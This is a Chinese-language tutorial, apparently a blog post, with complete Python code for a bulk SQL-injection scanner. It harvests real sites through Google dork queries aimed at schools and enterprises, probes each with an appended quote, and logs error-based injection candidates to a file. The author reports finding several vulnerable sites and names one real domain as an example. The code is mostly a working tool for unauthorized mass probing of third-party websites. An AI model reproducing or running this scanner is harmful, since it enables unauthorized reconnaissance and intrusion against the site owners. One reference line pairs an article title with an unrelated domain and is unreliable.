SQL注入漏洞批量扫描器

---

概述

  整体思路：
1.调用Google批量搜索；
2.筛选出相关网站链接；
3.拿到链接后，对单页面进行SQL注入的参数探测
4.输出探测结果。

---

1. 调用谷歌进行批量搜索

	测试：
# 开启HTTP代理，成功访问代码：print(requests.get("https://www.google.com.hk/search?q=中国").text)
# 成功访问代码：print(requests.get("https://www.google.com.hk/search?q=inurl:php?id= 学校").text)

	代码，成功返回Google搜索结果：
url = "https://www.google.com.hk/search?q=inurl:php?id= 学校"
res = requests.get(url)
html = res.text

  代理不稳定时，Python可能会报错，再次执行py文件即可：

  requests.exceptions.ProxyError: HTTPSConnectionPool(host=‘www.google.com.hk’, port=443): Max retries exceeded with url: /search?q=inurl:php?id=%20%E5%AD%A6%E6%A0%A1 (Caused by ProxyError(‘Cannot connect to proxy.’, OSError(0, ‘Error’)))

---

2. 筛选相关网站链接

  查看Google搜索结果网页的前端代码，找到某个相关网站的超链接：

  使用bs4解析库，发现得到的网站链接格式是/url?q=httpxxx&sa=x&ved=x&usg=x。
依据这个格式把查询到的网站筛选出来，定位http和&进行截取。

	代码：
soup = BeautifulSoup(html, 'lxml')
tags = soup.select("a")
for tag in tags:
    href = tag.get("href")
    if(("http" in href) and ("google" not in href)):
        url = href[href.find("http"):]
        url = url[:url.find("&")]   # 得到第一页的10个网站，例如http://www.shenghuaedu.com/about.php%3Fid%3D41，
        url = urllib.parse.unquote(url)	# python或直接访问会返回404，需要url解码
        # print(url)
        SqlPoc(url)

---

3.SQL注入漏洞探测

	
def SqlPoc(url):
    res = requests.get(url+"'")
    if("MySQL" in res.text):
        print("最后一个get参数存在报错注入：" + url)

  执行效果：

补充

问题1：访问Google前10页搜索结果。

  Google直接返回的页面是第一页，只有10条记录。访问后，Google会添加一些参数。通过对比前三页的URL地址，发现区别在于start=n*10, 其中n是自然数。

  对第一页网址进行URL解码：https://www.google.com.hk/search?q=inurl:php?id= 学校&newwindow=1&safe=strict&ei=CvlvYNOaJZeKr7wPxMussAM&start=0&sa=N&ved=2ahUKEwjTx8iOyfDvAhUXxYsBHcQlCzY4ChDy0wN6BAgBEDE&biw=1536&bih=750
 
  对第二页网址进行URL解码：https://www.google.com.hk/search?q=inurl:php?id= 学校&newwindow=1&safe=strict&ei=-vVvYI2qL9LFmAW1zJLYCQ&start=10&sa=N&ved=2ahUKEwiNj-eYxvDvAhXSIqYKHTWmBJsQ8tMDegQIARAy&biw=1536&bih=750

  通过python能否获取当前页面的完整网址？
通过res.响应头找到res.url方法，但得到的是访问的url。

  通过前端代码得到前10页查询结果的网址，因为第1页只显示前10页，或前8页。
根据关键词“start=”来定位，只返回了第二页的链接。复制response到notepad++，
查找"start=0/90"，发现确实没有其它页的链接，这跟看到的前端源码不相符。

  解决办法：Google防爬虫技术，为请求头添加User-Agent信息可以解决问题。

	传入Google查询搜索URL地址，筛选出前10页，发现只返回了2-9页的地址。
	把每页的查询结果传递给Current_Page()，爬取每页的相关网站。
def TenPage(url_query):
    headers = {
            "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
    }
    res = requests.get(url, headers=headers)
    html = res.text
    #print(html)
    soup = BeautifulSoup(html, 'lxml')
    tags = soup.select("a")
    for tag in tags:
        href = tag.get("href")
        if(href != None):
            if("start" in href):
                Current_Page("https://www.google.com.hk" + href)
                #print(href)

问题2：异常处理

  测试100个网站，总会有访问错误的情况发生，要想让程序继续执行，必须捕获异常。

def SqlPoc(): # 10页搜索结果
    count = 0
    with open("query_site.txt", "r") as f:
        for each_line in f:
            url = each_line[:each_line.find("\n")]
            count = count + 1
            if(count%10 == 0):
                print(count)
            try:
                res = requests.get(url+"'", timeout=3)	# 等待时间超过3秒即抛弃
                if ("MySQL" in res.text):
                    print("最后一个get参数存在报错注入：" + url)
            except:
                continue
    print(count)
    f.close()

问题3：扫描效果差

  设置等待3秒就放弃访问，捕获异常，然后扫描2-9页只探测到一个网站的漏洞。
不知道是网速或代理的问题，还是SQL报错注入确实比较少。

---

完整代码

扫描Google搜索结果的第一页网站

  代码执行效果（日本代理速度真快）：

  全部代码：

import requests
import urllib
from bs4 import BeautifulSoup

def Current_Page(url):
    res = requests.get(url)
    html = res.text
    #print(html)


    soup = BeautifulSoup(html, 'lxml')
    tags = soup.select("a")
    for tag in tags:
        href = tag.get("href")
        if(("http" in href) and ("google" not in href)):
            url = href[href.find("http"):]
            url = url[:url.find("&")]   # 得到10网站，例如http://www.shenghuaedu.com/about.php%3Fid%3D41，python或直接访问会返回404，需要url解码
            url = urllib.parse.unquote(url)
            SqlPoc(url)
            #print(url)
            #url_list.append(url)


def SqlPoc(url):
    res = requests.get(url + "'")
    if ("MySQL" in res.text):
        print("最后一个get参数存在报错注入：" + url)
   
url_query = "https://www.google.com.hk/search?q=inurl:php?id= 学校"
Current_Page(url_query)

扫描Google搜索结果的前10页网站

  查询语法很重要，输入“学校”几乎没有探测到漏洞，输入“企业”就探测到多个站点。

  执行效果：

  全部代码

import requests
import urllib
from bs4 import BeautifulSoup

url_query = "https://www.google.com.hk/search?q=inurl:php?id= 企业"
google_list = []
site_list = []

count = 0

def Current_Page(google_list):
    for url in google_list:
        res = requests.get(url)
        html = res.text
    #print(html)

        soup = BeautifulSoup(html, 'lxml')
        tags = soup.select("a")
        for tag in tags:
            href = tag.get("href")
            if(("http" in href) and ("google" not in href)):
                url = href[href.find("http"):]
                url = url[:url.find("&")]   # 得到10网站，例如http://www.shenghuaedu.com/about.php%3Fid%3D41，python或直接访问会返回404，需要url解码
                url = urllib.parse.unquote(url)
                IsUnique(site_list, url)


def SqlPoc(site_list, count): # 10页搜索结果
    for url in site_list:
        print("第%d个网站"%count , end="   ")
        count = count + 1
        try:
            res = requests.get(url+"'", timeout=5)
            if ("MySQL" in res.text):
                print()
                print("最后一个get参数存在报错注入：" + url)
                WriteLeak(url)
            # else:
            #     print("不存在报错注入" + url + "     ", end="")
        except:
            print("连接异常：" + url, end="   ")


def TenPage(url):
    headers = {
            "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
    }
    res = requests.get(url, headers=headers)
    html = res.text
    #print(html)
    soup = BeautifulSoup(html, 'lxml')
    tags = soup.select("a")
    for tag in tags:
        href = tag.get("href")
        if(href != None):
            if("start" in href):
                # print(href)
                google_query = "https://www.google.com.hk" + href
                IsUnique(google_list, google_query)


def WriteSite(site_list):
    with open("query_site.txt", "w+") as f:
        for x in site_list:
            f.write(x + "\n")
    f.close()


def WriteLeak(url):
    with open("leak_site.txt", "a+") as f:
        f.write(url + "\n")
    f.close()


def IsUnique(list1, element):
    if(element not in list1):
        list1.append(element)


TenPage(url_query)
Current_Page(google_list)
WriteSite(site_list)

SqlPoc(site_list,count)
print()
print("查询结果页数量：%d"%(len(google_list)-1))
print("去重后网站数量：%d"%len(site_list))

参考

  《AttributeError: module ‘urllib’ has no attribute 'quote’的解决办法》，2020-02
https://blog.csdn.net/weixin_41597019/article/details/104150737

  《Python：打开文件读取每一行（使用with as）》，2017-08
www.tkvs.ylc.edu.tw

  《python中的程序中断、for循环和while循环》，2019-06
https://blog.csdn.net/weixin_44889616/article/details/93667145